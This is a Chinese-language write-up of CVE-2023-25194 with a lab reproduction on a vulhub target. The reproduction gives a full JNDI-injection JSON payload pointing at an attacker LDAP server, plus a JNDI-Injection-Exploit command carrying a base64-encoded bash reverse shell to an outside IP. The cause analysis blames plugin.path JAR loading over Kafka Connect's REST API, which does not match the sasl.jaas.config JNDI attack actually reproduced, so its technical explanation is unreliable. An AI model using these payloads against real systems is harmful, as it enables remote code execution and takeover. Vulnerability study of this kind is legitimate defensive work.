漏洞概述
CVE-2023-25194 是 Apache Kafka Connect 中披露的一个高危远程代码执行(RCE)漏洞,允许未经授权的攻击者通过 REST API 构造恶意请求,在服务器上执行任意代码。
-
漏洞编号:CVE-2023-25194
-
影响组件:Apache Kafka Connect
-
漏洞类型:远程代码执行(RCE)
-
漏洞等级:高危
-
公开时间:2023 年 2 月
-
修复版本:Apache Kafka 3.4.0+
漏洞成因分析
Kafka Connect 是 Apache Kafka 提供的一个插件化框架,允许用户将 Kafka 与外部系统(如数据库、Elasticsearch、HDFS 等)连接。
Kafka Connect 提供了一个 REST 接口,允许动态上传 connector 的配置和插件路径。漏洞的关键在于:
服务端未对 plugin.path 参数进行严格限制,允许攻击者加载任意目录下的恶意 JAR 包。
攻击者可以伪造一个 connector 配置请求,指定 plugin.path
为任意路径(如 /tmp/evil/
),并配合上传的恶意 JAR 文件,使 Kafka Connect 加载恶意类并执行,从而实现远程代码执行。
影响范围
受影响版本:
-
所有 Apache Kafka < 3.4.0 的版本(主要影响 Kafka Connect 组件)
前提条件:
-
Kafka Connect 的 REST API 对外开放(默认监听在 8083 端口)
-
未启用认证或鉴权机制
-
攻击者能够上传或指定 JAR 路径
复现流程
环境使用vulhub
docker启动靶场环境---浏览器访问:xx.xx.xx.xx.:8888
首先来到漏洞位置
之后单击Apply,进行抓包
将下面的JSON替换
{
"type":"kafka",
"spec":{
"type":"kafka",
"ioConfig":{
"type":"kafka",
"consumerProperties":{
"bootstrap.servers":"127.0.0.1:6666",
"sasl.mechanism":"SCRAM-SHA-256",
"security.protocol":"SASL_SSL",
"sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.200.138:1389/tdk4dd\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
},
"topic":"test",
"useEarliestOffset":true,
"inputFormat":{
"type":"regex",
"pattern":"([\\s\\S]*)",
"listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
"columns":[
"raw"
]
}
},
"dataSchema":{
"dataSource":"sample",
"timestampSpec":{
"column":"!!!_no_such_column_!!!",
"missingValue":"1970-01-01T00:00:00Z"
},
"dimensionsSpec":{
},
"granularitySpec":{
"rollup":false
}
},
"tuningConfig":{
"type":"kafka"
}
},
"samplerConfig":{
"numRows":500,
"timeoutMs":15000
}
}
开启rmi服务的工具(启动的JAVA版本为java 8)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.200.138
同时监听4444端口,此端口为上述base64加密的反弹shell端口
将上面代码中的IP:port替换成自己工具生成的命令
注意!!!必须要使用ldap://xxxx/xxxx,使用rmi的工具有回显,但是监听不到
替换完后进行放包
工具回显,监听成功
修复方案
Apache 在 3.4.0 版本中修复了该漏洞,修复措施包括:
-
限制 plugin.path 参数来源
-
禁止通过 REST 接口动态配置 plugin 路径
-
强制使用服务端配置中明确指定的 plugin 路径
建议措施:
-
立即升级 Kafka 至 3.4.0 或以上版本
-
禁止公网直接访问 Kafka Connect REST 接口
-
启用认证与授权机制(如 Basic Auth、OAuth)
-
设置白名单 plugin.path,避免动态加载任意目录